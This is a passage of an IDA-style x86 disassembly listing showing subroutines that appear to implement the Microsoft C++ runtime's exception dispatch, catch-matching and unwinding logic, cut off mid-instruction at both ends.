sub_429BE0+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jz short loc_429E9C mov eax, [ebp+arg_0] push eax call sub_41AC70 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] add edx, [ebp+arg_4] push edx call sub_41F9A0 add esp, 0Ch loc_429E9C: ; CODE XREF: sub_429E70+7j pop ebp retn sub_429E70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429EA0 proc near ; CODE XREF: sub_41F580+27p ; sub_41F660+2Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_10] cmp dword ptr [eax], 19930520h jnz short loc_429EBA mov [ebp+var_8], 0 jmp short loc_429EC2 ; --------------------------------------------------------------------------- loc_429EBA: ; CODE XREF: sub_429EA0+Fj call sub_42AC00 mov [ebp+var_8], eax loc_429EC2: ; CODE XREF: sub_429EA0+18j mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, 66h test edx, edx jz short loc_429EFE mov eax, [ebp+arg_10] cmp dword ptr [eax+4], 0 jz short loc_429EF4 cmp [ebp+arg_14], 0 jnz short loc_429EF4 push 0FFFFFFFFh mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_42A410 add esp, 10h loc_429EF4: ; CODE XREF: sub_429EA0+36j ; sub_429EA0+3Cj mov eax, 1 jmp loc_429F8B ; --------------------------------------------------------------------------- loc_429EFE: ; CODE XREF: sub_429EA0+2Dj mov ecx, [ebp+arg_10] cmp dword ptr [ecx+0Ch], 0 jz short loc_429F86 mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_429F5E mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jbe short loc_429F5E mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+8] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_429F5E mov ecx, [ebp+arg_1C] and ecx, 0FFh push ecx mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call [ebp+var_4] add esp, 20h jmp short loc_429F8B ; --------------------------------------------------------------------------- loc_429F5E: ; CODE XREF: sub_429EA0+70j ; sub_429EA0+7Cj ... mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_14] push ecx mov dl, byte ptr [ebp+arg_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_429F90 add esp, 20h loc_429F86: ; CODE XREF: sub_429EA0+65j mov eax, 1 loc_429F8B: ; CODE XREF: sub_429EA0+59j ; sub_429EA0+BCj mov esp, ebp pop ebp retn sub_429EA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429F90 proc near ; CODE XREF: sub_429EA0+DEp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 30h mov [ebp+var_8], 0 mov eax, [ebp+arg_4] mov ecx, [eax+8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0FFFFFFFFh jl short loc_429FBD mov edx, [ebp+arg_10] mov eax, [ebp+var_4] cmp eax, [edx+4] jge short loc_429FBD mov [ebp+var_28], 0 jmp short loc_429FC5 ; --------------------------------------------------------------------------- loc_429FBD: ; CODE XREF: sub_429F90+17j ; sub_429F90+22j call sub_42AC00 mov [ebp+var_28], eax loc_429FC5: ; CODE XREF: sub_429F90+2Bj mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0E06D7363h jnz loc_42A085 mov edx, [ebp+arg_0] cmp dword ptr [edx+10h], 3 jnz loc_42A085 mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jnz loc_42A085 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+1Ch], 0 jnz loc_42A085 call sub_425C30 cmp dword ptr [eax+6Ch], 0 jnz short loc_42A00E jmp loc_42A22C ; --------------------------------------------------------------------------- loc_42A00E: ; CODE XREF: sub_429F90+77j call sub_425C30 mov edx, [eax+6Ch] mov [ebp+arg_0], edx call sub_425C30 mov eax, [eax+70h] mov [ebp+arg_8], eax mov [ebp+var_8], 1 push 1 mov ecx, [ebp+arg_0] push ecx call loc_4306F0 add esp, 8 test eax, eax jz short loc_42A043 mov [ebp+var_2C], 0 jmp short loc_42A04B ; --------------------------------------------------------------------------- loc_42A043: ; CODE XREF: sub_429F90+A8j call sub_42AC00 mov [ebp+var_2C], eax loc_42A04B: ; CODE XREF: sub_429F90+B1j mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_42A07E mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_42A07E mov ecx, [ebp+arg_0] cmp dword ptr [ecx+14h], 19930520h jnz short loc_42A07E mov edx, [ebp+arg_0] cmp dword ptr [edx+1Ch], 0 jnz short loc_42A07E call sub_42AC00 mov [ebp+var_30], eax jmp short loc_42A085 ; --------------------------------------------------------------------------- loc_42A07E: ; CODE XREF: sub_429F90+C4j ; sub_429F90+CDj ... mov [ebp+var_30], 0 loc_42A085: ; CODE XREF: sub_429F90+3Ej ; sub_429F90+4Bj ... mov eax, [ebp+arg_0] cmp dword ptr [eax], 0E06D7363h jnz loc_42A1EC mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 3 jnz loc_42A1EC mov edx, [ebp+arg_0] cmp dword ptr [edx+14h], 19930520h jnz loc_42A1EC lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_14] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_10] push ecx call sub_41F800 add esp, 14h mov [ebp+var_10], eax jmp short loc_42A0E4 ; --------------------------------------------------------------------------- loc_42A0D2: ; CODE XREF: sub_429F90:loc_42A105j ; sub_429F90:loc_42A1CAj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 14h mov [ebp+var_10], eax loc_42A0E4: ; CODE XREF: sub_429F90+140j mov ecx, [ebp+var_14] cmp ecx, [ebp+var_C] jnb loc_42A1CF mov edx, [ebp+var_10] mov eax, [edx] cmp eax, [ebp+var_4] jg short loc_42A105 mov ecx, [ebp+var_10] mov edx, [ebp+var_4] cmp edx, [ecx+4] jle short loc_42A107 loc_42A105: ; CODE XREF: sub_429F90+168j jmp short loc_42A0D2 ; --------------------------------------------------------------------------- loc_42A107: ; CODE XREF: sub_429F90+173j mov eax, [ebp+var_10] mov ecx, [eax+10h] mov [ebp+var_1C], ecx mov edx, [ebp+var_10] mov eax, [edx+0Ch] mov [ebp+var_24], eax jmp short loc_42A12D ; --------------------------------------------------------------------------- loc_42A11B: ; CODE XREF: sub_429F90:loc_42A1C5j mov ecx, [ebp+var_24] sub ecx, 1 mov [ebp+var_24], ecx mov edx, [ebp+var_1C] add edx, 10h mov [ebp+var_1C], edx loc_42A12D: ; CODE XREF: sub_429F90+189j cmp [ebp+var_24], 0 jle loc_42A1CA mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] add edx, 4 mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] mov eax, [edx] mov [ebp+var_20], eax jmp short loc_42A168 ; --------------------------------------------------------------------------- loc_42A156: ; CODE XREF: sub_429F90+1FBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_18] add edx, 4 mov [ebp+var_18], edx loc_42A168: ; CODE XREF: sub_429F90+1C4j cmp [ebp+var_20], 0 jle short loc_42A1C5 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+var_18] mov eax, [edx] push eax mov ecx, [ebp+var_1C] push ecx call sub_42A350 add esp, 0Ch test eax, eax jnz short loc_42A18D jmp short loc_42A156 ; --------------------------------------------------------------------------- loc_42A18D: ; CODE XREF: sub_429F90+1F9j mov dl, [ebp+var_8] push edx mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_18] mov ecx, [eax] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A540 add esp, 2Ch jmp short loc_42A22A ; --------------------------------------------------------------------------- loc_42A1C5: ; CODE XREF: sub_429F90+1DCj jmp loc_42A11B ; --------------------------------------------------------------------------- loc_42A1CA: ; CODE XREF: sub_429F90+1A1j ; sub_429F90:loc_42A22Aj jmp loc_42A0D2 ; --------------------------------------------------------------------------- loc_42A1CF: ; CODE XREF: sub_429F90+15Aj mov edx, [ebp+arg_14] and edx, 0FFh test edx, edx jz short loc_42A1EA push 1 mov eax, [ebp+arg_0] push eax call sub_42AA20 add esp, 8 loc_42A1EA: ; CODE XREF: sub_429F90+24Aj jmp short loc_42A228 ; --------------------------------------------------------------------------- loc_42A1EC: ; CODE XREF: sub_429F90+FEj ; sub_429F90+10Bj ... mov ecx, [ebp+arg_14] and ecx, 0FFh test ecx, ecx jnz short loc_42A223 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A230 add esp, 20h jmp short loc_42A228 ; --------------------------------------------------------------------------- loc_42A223: ; CODE XREF: sub_429F90+267j call sub_42AB50 loc_42A228: ; CODE XREF: sub_429F90:loc_42A1EAj ; sub_429F90+291j jmp short loc_42A22C ; --------------------------------------------------------------------------- loc_42A22A: ; CODE XREF: sub_429F90+233j jmp short loc_42A1CA ; --------------------------------------------------------------------------- loc_42A22C: ; CODE XREF: sub_429F90+79j ; sub_429F90:loc_42A228j mov esp, ebp pop ebp retn sub_429F90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A230 proc near ; CODE XREF: sub_429F90+289p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 0Ch call sub_425C30 cmp dword ptr [eax+68h], 0 jz short loc_42A26E mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41F6A0 add esp, 1Ch test eax, eax jz short loc_42A26E jmp loc_42A341 ; --------------------------------------------------------------------------- loc_42A26E: ; CODE XREF: sub_42A230+Fj ; sub_42A230+37j lea ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx call sub_41F800 add esp, 14h mov [ebp+var_8], eax jmp short loc_42A2A1 ; --------------------------------------------------------------------------- loc_42A28F: ; CODE XREF: sub_42A230:loc_42A2F9j ; sub_42A230+10Cj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_8] add ecx, 14h mov [ebp+var_8], ecx loc_42A2A1: ; CODE XREF: sub_42A230+5Dj mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jnb loc_42A341 mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] cmp ecx, [eax] jl short loc_42A2F9 mov edx, [ebp+var_8] mov eax, [ebp+arg_14] cmp eax, [edx+4] jg short loc_42A2F9 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] sub edx, 1 shl edx, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] cmp dword ptr [ecx+edx+4], 0 jz short loc_42A2FB mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] mov eax, [edx+eax+4] movsx ecx, byte ptr [eax+8] test ecx, ecx jz short loc_42A2FB loc_42A2F9: ; CODE XREF: sub_42A230+85j ; sub_42A230+90j jmp short loc_42A28F ; --------------------------------------------------------------------------- loc_42A2FB: ; CODE XREF: sub_42A230+A9j ; sub_42A230+C7j push 1 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_8] push ecx push 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] add edx, eax push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A540 add esp, 2Ch jmp loc_42A28F ; --------------------------------------------------------------------------- loc_42A341: ; CODE XREF: sub_42A230+39j ; sub_42A230+77j mov esp, ebp pop ebp retn sub_42A230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A350 proc near ; CODE XREF: sub_429F90+1EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jz short loc_42A36B mov ecx, [ebp+arg_0] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jnz short loc_42A375 loc_42A36B: ; CODE XREF: sub_42A350+Bj mov eax, 1 jmp loc_42A402 ; --------------------------------------------------------------------------- loc_42A375: ; CODE XREF: sub_42A350+19j mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ecx+4] cmp eax, [edx+4] jz short loc_42A3A7 mov ecx, [ebp+arg_4] mov edx, [ecx+4] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] add ecx, 8 push ecx call sub_41D900 add esp, 8 test eax, eax jz short loc_42A3A7 xor eax, eax jmp short loc_42A402 ; --------------------------------------------------------------------------- loc_42A3A7: ; CODE XREF: sub_42A350+31j ; sub_42A350+51j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 2 test eax, eax jz short loc_42A3BF mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 8 test edx, edx jz short loc_42A3F8 loc_42A3BF: ; CODE XREF: sub_42A350+61j mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_42A3D7 mov edx, [ebp+arg_0] mov eax, [edx] and eax, 1 test eax, eax jz short loc_42A3F8 loc_42A3D7: ; CODE XREF: sub_42A350+79j mov ecx, [ebp+arg_8] mov edx, [ecx] and edx, 2 test edx, edx jz short loc_42A3EF mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 2 test ecx, ecx jz short loc_42A3F8 loc_42A3EF: ; CODE XREF: sub_42A350+91j mov [ebp+var_4], 1 jmp short loc_42A3FF ; --------------------------------------------------------------------------- loc_42A3F8: ; CODE XREF: sub_42A350+6Dj ; sub_42A350+85j ... mov [ebp+var_4], 0 loc_42A3FF: ; CODE XREF: sub_42A350+A6j mov eax, [ebp+var_4] loc_42A402: ; CODE XREF: sub_42A350+20j ; sub_42A350+55j mov esp, ebp pop ebp retn sub_42A350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A410 proc near ; CODE XREF: seg000:0041F5DAp ; sub_429EA0+4Cp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43A1C0 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFECh push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] mov ecx, [eax+8] mov [ebp+var_1C], ecx loc_42A43F: ; CODE XREF: sub_42A410+BFj mov edx, [ebp+var_1C] cmp edx, [ebp+arg_C] jz loc_42A4D4 cmp [ebp+var_1C], 0FFFFFFFFh jle short loc_42A465 mov eax, [ebp+arg_8] mov ecx, [ebp+var_1C] cmp ecx, [eax+4] jge short loc_42A465 mov [ebp+var_20], 0 jmp short loc_42A46D ; --------------------------------------------------------------------------- loc_42A465: ; CODE XREF: sub_42A410+3Fj ; sub_42A410+4Aj call sub_42AC00 mov [ebp+var_20], eax loc_42A46D: ; CODE XREF: sub_42A410+53j mov [ebp+var_4], 0 mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] cmp dword ptr [eax+ecx*8+4], 0 jz short loc_42A4A0 push 103h mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_8] mov ecx, [eax+8] mov edx, [ebp+var_1C] mov eax, [ecx+edx*8+4] push eax call sub_42AB00 loc_42A4A0: ; CODE XREF: sub_42A410+72j mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42A4C0 ; --------------------------------------------------------------------------- mov ecx, [ebp+var_14] push ecx call sub_42A510 add esp, 4 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 0FFFFFFFFh loc_42A4C0: ; CODE XREF: sub_42A410+97j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] mov edx, [eax+ecx*8] mov [ebp+var_1C], edx jmp loc_42A43F ; --------------------------------------------------------------------------- loc_42A4D4: ; CODE XREF: sub_42A410+35j mov eax, [ebp+var_1C] cmp eax, [ebp+arg_C] jnz short loc_42A4E5 mov [ebp+var_24], 0 jmp short loc_42A4ED ; --------------------------------------------------------------------------- loc_42A4E5: ; CODE XREF: sub_42A410+CAj call sub_42AC00 mov [ebp+var_24], eax loc_42A4ED: ; CODE XREF: sub_42A410+D3j mov ecx, [ebp+arg_0] mov edx, [ebp+var_1C] mov [ecx+8], edx mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42A410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A510 proc near ; CODE XREF: sub_42A410+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+var_8], eax cmp [ebp+var_8], 0E06D7363h jz short loc_42A531 jmp short loc_42A536 ; --------------------------------------------------------------------------- loc_42A531: ; CODE XREF: sub_42A510+1Dj call sub_42AB50 loc_42A536: ; CODE XREF: sub_42A510+1Fj xor eax, eax mov esp, ebp pop ebp retn sub_42A510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A540 proc near ; CODE XREF: sub_429F90+22Bp ; sub_42A230+104p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_18], 0 jz short loc_42A56A mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_14] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A7A0 add esp, 10h loc_42A56A: ; CODE XREF: sub_42A540+10j cmp [ebp+arg_24], 0 jnz short loc_42A57F mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_41F520 jmp short loc_42A58C ; --------------------------------------------------------------------------- loc_42A57F: ; CODE XREF: sub_42A540+2Ej mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_24] push edx call sub_41F520 loc_42A58C: ; CODE XREF: sub_42A540+3Dj mov eax, [ebp+arg_1C] mov ecx, [eax] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_42A410 add esp, 10h mov edx, [ebp+arg_1C] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx+8], eax push 100h mov edx, [ebp+arg_20] push edx mov eax, [ebp+arg_14] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A600 add esp, 1Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_42A5F3 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_8] push ecx call sub_41F4B0 loc_42A5F3: ; CODE XREF: sub_42A540+A4j mov esp, ebp pop ebp retn sub_42A540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A600 proc near ; CODE XREF: sub_42A540+95p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 0042A73B SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43A1D0 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax mov [ebp+var_24], 0 mov ecx, [ebp+arg_4] mov edx, [ecx-4] mov [ebp+var_28], edx call sub_425C30 mov eax, [eax+6Ch] mov [ebp+var_1C], eax call sub_425C30 mov ecx, [eax+70h] mov [ebp+var_20], ecx call sub_425C30 mov edx, [ebp+arg_0] mov [eax+6Ch], edx call sub_425C30 mov ecx, [ebp+arg_8] mov [eax+70h], ecx mov [ebp+var_4], 0 mov [ebp+var_4], 1 mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_41F5F0 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], 0 jmp short loc_42A6CF ; --------------------------------------------------------------------------- loc_42A69E: ; DATA XREF: seg001:0043A1E0o mov ecx, [ebp+var_14] push ecx call sub_42A750 add esp, 4 retn ; --------------------------------------------------------------------------- loc_42A6AB: ; DATA XREF: seg001:0043A1E4o mov esp, [ebp+var_18] mov [ebp+var_2C], 0 push 0FFFFFFFFh mov [ebp+var_30], 0 lea edx, [ebp+var_10] push edx call sub_41F8D2 add esp, 8 mov eax, [ebp+var_30] jmp short loc_42A73E ; --------------------------------------------------------------------------- loc_42A6CF: ; CODE XREF: sub_42A600+9Cj mov [ebp+var_4], 0FFFFFFFFh call sub_42A6DD jmp short loc_42A73B sub_42A600 endp ; =============== S U B R O U T I N E ======================================= sub_42A6DD proc near ; CODE XREF: sub_42A600+D6p ; DATA XREF: seg001:0043A1D8o mov eax, [ebp+0Ch] mov ecx, [ebp-28h] mov [eax-4], ecx call sub_425C30 mov edx, [ebp-1Ch] mov [eax+6Ch], edx call sub_425C30 mov ecx, [ebp-20h] mov [eax+70h], ecx mov edx, [ebp+8] cmp dword ptr [edx], 0E06D7363h jnz short locret_42A73A mov eax, [ebp+8] cmp dword ptr [eax+10h], 3 jnz short locret_42A73A mov ecx, [ebp+8] cmp dword ptr [ecx+14h], 19930520h jnz short locret_42A73A cmp dword ptr [ebp-24h], 0 jnz short locret_42A73A cmp dword ptr [ebp-2Ch], 0 jz short locret_42A73A call sub_41F93A push eax mov edx, [ebp+8] push edx call sub_42AA20 add esp, 8 locret_42A73A: ; CODE XREF: sub_42A6DD+28j ; sub_42A6DD+31j ... retn sub_42A6DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A600 loc_42A73B: ; CODE XREF: sub_42A600+DBj mov eax, [ebp+var_2C] loc_42A73E: ; CODE XREF: sub_42A600+CDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42A600 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A750 proc near ; CODE XREF: sub_42A600+A2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp dword ptr [edx], 0E06D7363h jnz short loc_42A78C mov eax, [ebp+var_4] cmp dword ptr [eax+10h], 3 jnz short loc_42A78C mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 19930520h jnz short loc_42A78C mov edx, [ebp+var_4] cmp dword ptr [edx+1Ch], 0 jnz short loc_42A78C mov eax, 1 jmp short loc_42A78E ; --------------------------------------------------------------------------- loc_42A78C: ; CODE XREF: sub_42A750+15j ; sub_42A750+1Ej ... xor eax, eax loc_42A78E: ; CODE XREF: sub_42A750+3Aj mov esp, ebp pop ebp retn sub_42A750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A7A0 proc near ; CODE XREF: sub_42A540+22p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43A1E8 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_42A7E6 mov ecx, [ebp+arg_8] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jz short loc_42A7E6 mov ecx, [ebp+arg_8] cmp dword ptr [ecx+8], 0 jnz short loc_42A7EB loc_42A7E6: ; CODE XREF: sub_42A7A0+2Dj ; sub_42A7A0+3Bj jmp loc_42AA0A ; --------------------------------------------------------------------------- loc_42A7EB: ; CODE XREF: sub_42A7A0+44j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+arg_4] lea edx, [ecx+eax+0Ch] mov [ebp+var_1C], edx mov [ebp+var_4], 0 mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 8 test ecx, ecx jz short loc_42A866 push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call loc_4306F0 add esp, 8 test eax, eax jz short loc_42A85C push 1 mov ecx, [ebp+var_1C] push ecx call loc_430720 add esp, 8 test eax, eax jz short loc_42A85C mov edx, [ebp+var_1C] mov eax, [ebp+arg_0] mov ecx, [eax+18h] mov [edx], ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+var_1C] mov ecx, [eax] push ecx call sub_42AAB0 add esp, 8 mov edx, [ebp+var_1C] mov [edx], eax jmp short loc_42A861 ; --------------------------------------------------------------------------- loc_42A85C: ; CODE XREF: sub_42A7A0+81j ; sub_42A7A0+93j call sub_42AC00 loc_42A861: ; CODE XREF: sub_42A7A0+BAj jmp loc_42A9F3 ; --------------------------------------------------------------------------- loc_42A866: ; CODE XREF: sub_42A7A0+6Cj mov eax, [ebp+arg_C] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_42A8EA push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call loc_4306F0 add esp, 8 test eax, eax jz short loc_42A8E0 push 1 mov ecx, [ebp+var_1C] push ecx call loc_430720 add esp, 8 test eax, 